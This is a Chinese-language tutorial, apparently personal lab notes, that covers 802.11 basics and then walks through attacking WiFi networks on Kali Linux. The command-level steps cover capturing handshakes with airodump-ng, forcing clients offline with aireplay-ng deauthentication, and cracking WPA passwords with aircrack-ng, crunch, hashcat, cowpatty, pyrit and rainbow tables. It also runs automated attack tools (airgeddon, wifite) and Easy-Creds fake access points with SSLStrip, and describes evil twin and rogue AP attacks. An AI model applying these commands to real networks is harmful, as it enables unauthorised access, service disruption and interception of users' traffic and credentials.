- 无线相关知识点
- 常用无线工具使用以及密码破解操作
- 字典工具 crunch
- 字典工具 cupp
- airmon-ng 工具
- kismet 工具
- airodump-ng 工具
- aircrack-ng 破解 WEP 与 WPA 加密
- 自动化破解工具 gerix-wifi-cracker
- airgeddon 工具
- 自动化破解工具 wifite
- hirte 工具伪造 AP
- 不指定字典破解密码
- hashcat 工具跑包
- cowpatty 工具破解密码
- hash-table 加速破解
- batch-table 加速破解
- pyrit 工具补充
- airolib-ng 生成彩虹表
- 解除验证 DoS 攻击
- Easy-Creds 工具创建伪 AP
- Evil Twin 攻击
- 架设无赖 AP
- 误关联攻击
- Caffe Latte 攻击
- 解除对无线客户端的验证
- 不碰 AP 的情况下破解 WPA
无线相关知识点
WLAN 无线局域网技术主要采用 IEEE 802.11 标准,包含 802.11a/b/g/n/ac,是 IEEE 规定的数据链路层无线协议。以下是常见的一些无线标准。
IEEE 802.11 ,1997 年,原始标准(2Mbit/s,工作在 2.4GHz)。
IEEE 802.11a,1999 年,物理层补充(54Mbit/s,工作在 5GHz)。
IEEE 802.11b,1999 年,物理层补充(11Mbit/s 工作在 2.4GHz)。
IEEE 802.11g,2003 年,物理层补充(54Mbit/s,工作在 2.4GHz)。
IEEE 802.11n,更高传输速率的改善,支持多输入多输出技术(Multi-Input Multi-Output,MIMO)。 提供标准速度 300M,最高速度 600M 的连接速度
IEEE 802.11ac 是 802.11 家族的一项无线网上标准,由 IEEE 标准协会制定,透过 5GHz 频带提供高通量的无线局域网(WLAN),俗称 5G WiFi (5th Generation of Wi-Fi)。
IEEE 定义了两种无线网络拓扑结构,一种是基础设施网络(Infrastructure Networking),一种是特殊网络(Ad Hoc Networking)。
在基础设施网络中,无线终端通过接入点 AP 接入访问骨干网。接入点负责在 802.11 和 802.3 MAC 间转换。
一个接入点覆盖的区域称为基本服务区(Basic Service Area,BSA),接入点控制的所有终端组成一个基本服务集(Basic Service Set,BSS)
多个基本服务集相互连接就形成了分布式系统(Distributed System,DS),DS 支持的所有服务称为扩展服务集(Extended Service Set,ESS),由两个以上 BSS 组成。
AD Hoc 是一种点对点网络,不需要有线网络和接入点的支持,终端设备间通过无线网卡可直接通信。
无线接入点 AP(access point):
扩展型 AP,也称胖 AP:类似家用无线路由器,能三层路由
单纯型 AP,也称瘦 AP:类似集线器、交换机,仅转发电信号与无线信号,通过将网络信号通过双绞线传送,再经过无线 AP 编译,将电信号转变为无线信号,形成 wifi 覆盖。一般无线 AP 最大覆盖范围 400m
AP 的工作模式:
纯 AP 模式(无线漫游模式):最常用、最基本的工作模式,用于构建以 AP 为中心的集中控制式网络,所有通信由 AP 转发
网桥模式(无线客户端模式):分布一台主 AP 和多台从 AP,从 AP 作为主 AP 的客户端(类似无线网卡的地位),形成主从关系。主 AP 工作在纯 AP 模式,从 AP 工作在客户端模式,此时从 AP 管理的网络对于主 AP 就相当于一个客户端,并且从 AP 只能接入有线网络,不能为其他无线客户端提供服务
点对点模式:两台 AP 无线设备,通过这两台 AP 连接两个有线局域网,实现两个局域网间的无线互联和资源共享,或实现有线网络的扩展。点对点连接的距离较远,最好采用定向天线。此时两个 AP 不会向其他客户端发送无线信号,仅仅向着对端 AP 互发信号。
点对多点模式:多个 AP 组成网络,其中一个 AP 设为点对多点桥接模式,其余 AP 设为点对点桥接模式。用于一定区域内的多个远端点对一个中心点的访问,将多个网络连成一体
中继模式:连接几个无线 AP,实现信号的中继和放大,延伸无线网络覆盖范围。中继 AP 设备有两个模块,一个模块采用客户端模式,接收前一站 AP 的信号,另一个模块采用标准 AP 覆盖模式,供无线设备通信
Wi-Fi 是 WECA(无线以太网兼容性联盟)为普及 IEEE 802.11 的标准而打造的一个品牌。
Wi-Fi 工作原理:wifi 至少需要设置一个 AP 和一个以上的客户端,AP 每 100ms 会将 SSID 通过 beacons(信号台)封包广播一次。beacons 包的传输速率是 1Mb/s,长度短。wifi 规定的最小传输速率为 1Mb/s,所以所有客户端都能收到该 SSID 广播包。
SSID(Service Set Identifier)服务集标识,就是显示的无线网名称,用于区分网络,最多 32 字符。主要包含两种:ESSID 和 BSSID。
信道(channel),也称频段。通常有 13 个信道。信道频率范围从 2413MHz 到 2472MHz,从小到大,每个信道都有一定的频率范围,范围也会有重叠。其中 1,6,11 三个信道之间是完全没有重叠的,就是不会相互干扰,同理 2,7,12 和 3,8,13 和 4,9,14 也是互不重叠的信道组。
频段带宽:发送无线信号频率的标准,频率越高越容易失真。在 11n 模式中,包含 20MHZ 和 40MHZ 两个频带,20MHZ 能达到 144Mbps 带宽,距离 100M,40MHZ 能达到 300Mbps,而穿透性差,仅有 50M。
WDS:Wireless Distribution System 无线分布式系统,是多个 AP 通过无线互联的系统,将无线网通过多个 AP 扩展。
无线网卡的几种模式:
- 广播模式
- 多播模式
- 直接模式:只收目的 MAC 是本身的帧
- 混杂模式:接收所有流过网卡的帧
网卡默认工作模式为广播和直接。
WEP/WPA/WPA2
WLAN 委员会制定了三种数据加密协议:
- WEP(有线等效保密)
- WPA(WiFi 保护访问)
- WPA2(WiFi 保护访问 v2)
WEP 的关键缺陷是它使用了 RC4 和短 IV 值(每 224 个帧就会循环使用一次),虽然 IV 值是很大的数字,但每 5000 个数据包重用 4 个 IV 值的概率为 50%。因此只要能生成密集的流量,便能显著增加重用 IV 值的概率。
WPA 主要采用临时密钥完整性协议(TKIP)加密算法,旨在改进 WEP。而 WPA2 强制使用 AES-CCMP 算法加密,比 TKIP 更强大。
WPA 和 WPA2 支持两种身份验证机制:
- 基于 EAP 的身份验证(采用 RADIUS,用于企业)
- 基于预共享密钥(Pre-shared Key,用于个人)
WPA 和 WPA2 主要通过抓取握手包,再用字典进行穷举破解。
WPA/WPA2 PSK 验证的 4 次握手过程:
- 申请者(WiFi 客户端)与验证者(AP)验证并关联 RR,并协商产生 256 位的预共享密钥
- 验证者向申请者发送消息(包括预共享密钥、网络的 SSID、验证者随机数 ANonce、申请者随机数 SNonce、验证者 MAC 地址(AP 的 MAC)、申请者 MAC 地址(WiFi 客户端的 MAC))
- 申请者计算出成对临时密钥(PTK)作为每会话密钥(Per-session Key),用于加密 AP 和客户端间的数据。
- 申请者再向验证方发送申请者随机数以及一个 MIC(消息完整性检查)。验证方收到后,进行 MIC 验证,若验证无误,则用申请者随机数生成一个 PTK
- 验证方再向申请方发送确认信息,确认进行密钥安装。申请方安装后返回密钥安装确认信息。
常用无线工具使用以及密码破解操作
实验使用了 HAYSENSE 厂的 HS-8515NS 无线网卡,驱动为 RT3070。
在虚拟机导入该网卡
实验虚拟机为 kali linux。
字典工具 crunch
用法:crunch 密码最短长度 密码最长长度 字符集 [选项] |
生成字典大小随密码位数指数增长,并且与指定的字符集长度有关。
常见用法: |
字典工具 cupp
会根据输入的信息,生成可能的密码字典。需要安装 cupp
cupp [options] |
airmon-ng 工具
airmon-ng 是 aircrack-ng 套件中的一个工具,用于开启无线网卡的监听模式。
airmon-ng <start|stop> <interface> [channel] |
可使用iwconfig
命令查看无线网卡的列表以及信息
kismet 工具
kismet 是一个无线网卡监控工具。
打开 kismet 后会有一个是否选择灰色界面,最好选 NO,否则界面是黑白的,没有彩色的图像
然后会有要求填写一个监控源。
可以看到监控到的信息,就是能看到的无线信号
点右下角的 close console window 即可进入图像界面
上面是网络信息,下面是客户端信息,其中 MAC 就是客户端的 MAC 地址
双击网络可查看该网络的详细信息
其中主要有以下参数信息:
BSSID:该网络 AP 的 MAC 地址
Manuf:制造厂商
Type:类型,此处说明是 AP
Channel:信道为 11
SSID:网络名称
Type:Beacon。被动信标帧
Encryption:WPA PSK 加密算法
airodump-ng 工具
属于 aircrack-ng 套件,用于无线网络抓包与分析,将无线网络数据传送到 PCAP 或 IVS 文件并显示网络信息。
将无线网卡置于监听模式后开始抓包。airodump-ng wlan0mon
主要有以下参数:
BSSID:AP 的 MAC
PWR:信号强度取决于驱动,值越高,与该 AP 的距离越近。
- 若 BSSID 的 PWR 为-1,则说明网卡驱动不支持报告信号水平。
- 若客户端的 PWR 为-1,则说明该客户端不在能探测到的范围内,但能捕获 AP 发往客户端的数据。
Beacons:AP 发的通告
#Data:抓到的数据包量
CH:channel(是从 Beacons 中获取)
MB:最大传输速率。
- 若为 11,则协议为 802.11b。
- 若为 22,则协议为 802.11b+。
- 若更高,则为 802.11g。
- e 表示有 802.11e(QoS)启用,
- . 表示短前导码。前导码是数据包的一组比特组,让接收者同步并准备接收实际的数据
ENC:加密方式
- OPN(无加密)
- WEP?(WEP 或 WPA\WPA2)
- WEP(静态或动态 WEP)
- TKIP 或 CCMP(WPA\WPA2)
CIPHER:加密算法。WPAAP、TKIP、WEP、CCMP、WEP104。TKIP 与 WPA 结合使用,CCMP 与 WPA2 结合使用
AUTH:认证。
- MGT(WPA/WPA2 使用独立认证服务器(802.1x、redius、eap 等))
- PSK(WPA/WPA2 的 pre-shared key)
- OPN(无认证) SKA(WEP 的共享密钥)
ESSID:wifi 名
STATION:每一个已连接或者正尝试连接用户的 MAC 地址
Rate:传输率
Lost:最近 10s 内的丢包数,基于序列号检测
Frames:客户端的数据帧数量
Probe:被客户端探查的 ESSID。若客户端试图连接一个 AP 但没连上,则会显示在这
aircrack-ng 破解 WEP 与 WPA 加密
要对指定的 wifi 抓包
airodump-ng -c 该wifi的channel --ivs -w ~/WEP --bssid 要抓的wifi的BSSID |
如果信道正确,#Data 的量会增长的比较快。-w 会在指定位置生成握手包抓包文件,后面的破解就需要这个文件。
可使用aireplay-ng -0 5 -a B4:0B:44:93:11:C4 -c 18:01:F1:30:00:42 wlan0mon
造成目标网络掉线,使设备不断发送 arp 请求,能更容易抓到有用的密码数据。需要连接的设备开启了自动重连,或者等待目标的用户再次输入密码。
生成密码字典 cupp -i 填入可能的密码信息,然后aircrack-ng -w 字典文件 抓包文件
。开始暴力破解。
自动化破解工具 gerix-wifi-cracker
airgeddon 工具
工具介绍地址:https://github.com/v1s1t0r1sh3r3/airgeddon
git clone 后,进入目录执行 airgeddon.sh 脚本。经过几次 enter 确认后,先会要求选择无线网卡。
选择后进入主菜单
有以下主要功能:DOS 攻击、握手包工具、离线 WPA 解密、evil twin 攻击、WPS 攻击、WEP 攻击、Enterprise 协议攻击
DOS 攻击简单操作
首先会提示输入要攻击的 wifi 的 BSSID,以及信道
可以选择攻击方式:Deauth 攻击、mdk3 攻击、WIDS 攻击等。就会自动开始攻击
握手包工具操作
同理填入目标 BSSID 和信道。
可直接选择 5,开始抓取握手包.
关闭窗口后,会显示所有目标,按照开头标号选择,其中标号后面有*的说明有客户端连接着。
进入握手包抓取选项界面,选择攻击方式,与 DOS 一致。可直接选择 deauth aireplay attack,与 aireplay-ng 效果一致,断开目标网络,抓取 arp 握手包。可以填写要抓取的时间,默认 20s。
若抓取成功,就会在主目录生成握手包抓包文件,然后同理使用 aircrack-ng 破解密码。
自动化破解工具 wifite
执行 wifite 后会自动开始扫描范围内的无线网络,ctrl+c 停止扫描
选择一个目标后,开始自动检测
然后直接就能看到破解的 wifi 密码
hirte 工具伪造 AP
不指定字典破解密码
仍然是使用字典工具暴力破解握手包。
crunch 最小长度 最大长度 字符集 | aircrack-ng 握手包 -e ESSID -w - |
hashcat 工具跑包
aircrack-ng 握手包 -J 输出hash文件 |
会生成一个.hccap 文件
aircrack-ng ~/wpa-B4\:0B\:44\:93\:11\:C4-02.cap -J ~/wpahash |
需要 hashcat 工具,可–help 查看加密方式对应的号码
# hashcat --help | grep WPA |
使用-m
指定编号
用法:hashcat -m 2500 hccap文件 字典文件 |
cowpatty 工具破解密码
cowpatty 功能与 aircrack-ng 类似
cowpatty -f 字典文件 -r 握手包文件 -s ESSID |
hash-table 加速破解
可通过对字典文件生成 hashtable,加快破解速度。但是对字典生成 hash 表文件需要消耗大量时间。
genpmk -f 字典文件 -d 输出的hash表文件 -s ESSID |
然后再用 cowpatty 破解
cowpatty -d hash表文件 -r 握手包文件 -s ESSID |
在本机的速度提升约有 100 倍。
batch-table 加速破解
生成 batch-table 与 hash-table 一样,需要耗费大量时间
先载入字典文件
pyrit -i 字典文件 import_passwords
添加 ESSID,可添加多个
pyrit -e ESSID create_essid
生成 batch-table
pyrit batch
最后开始破解
pyrit -e ESSID -r 握手包 attack_batch
pyrit 工具补充
pyrit 也可以仅仅使用字典跑密码,功能仍然类似 aircrack-ng
可以先通过 pyrit 的 analyze 模块分析,获取 AP 的 BSSID
pyrit -r 握手包 -i 字典文件 -b AP的BSSID(或者-e AP的ESSID)
跑字典破解
pyrit 也可以通过 hash-table 进行破解,同样使用-i
指定输入 hash 表文件
airolib-ng 生成彩虹表
可通过彩虹表加速破解,可使用 airolib-ng 生成彩虹表
airolib-ng <database> <operation> [options] |
需要先将目标 ESSID 写入一个文件
还需要将字典文件写入
最后生成 batch-table
导出表供 cowpatty 使用
使用 cowpatty 破解密码
解除验证 DoS 攻击
WLAN 容易受到 DoS(拒绝服务)攻击,攻击手段包括以下:
- 解除验证(Deauthentication)
- 取消关联(Disassociation)
- CTS-RTS 攻击
- 信号干扰或频谱干扰
Easy-Creds 工具创建伪 AP
Easy-Creds 是一款欺骗嗅探为主的攻击脚本工具,具备 ARP 毒化,DNS 毒化等一些嗅探攻击模式,具有 fakeAP 功能,比一般自行搭建的 fake AP 要稳定的多,而且里面还包含了针对 802.1x 的攻击模式。
下载后执行目录中的installer.sh
安装即可。然后执行easy-creds
命令。
____ ____ ____ ____ ____ ____ ____ ____ ____ ____ |
选择 3,进入伪 AP 攻击
1. FakeAP Attack Static # 静态 |
选择 1,静态伪 AP 攻击
Would you like to include a sidejacking attack? [y/N]: N # 是否要包劫持攻击 |
之后系统会自动开启一些程序,如 DHCP、SSLStrip、Etterp、Dsniff 等,弹出几个窗口
Evil Twin 攻击
Evil Twin(克隆 AP)攻击是一种针对 WLAN 基础设施的攻击。在受攻击的 WLAN 网络附近部署受攻击者控制的双胞胎 AP,该无赖 AP 会通告与受攻击的网络完全相同的 SSID,导致许多用户在不经意间连接到此 AP。然后攻击者就可发动中间人攻击。
架设无赖 AP
无赖 AP 是指未经授权便连接到需授权网络的 AP,攻击者会将这样的 AP 作为私开的后门,从而绕过需授权网络中的安全控制机制。
大多数情况下,无赖 AP 会被设置为开放验证且不启用加密。可以通过部署实际的物理设备作为无赖 AP,也可以通过软件创建无赖 AP,将其桥接到需授权网络的本地以太网网络。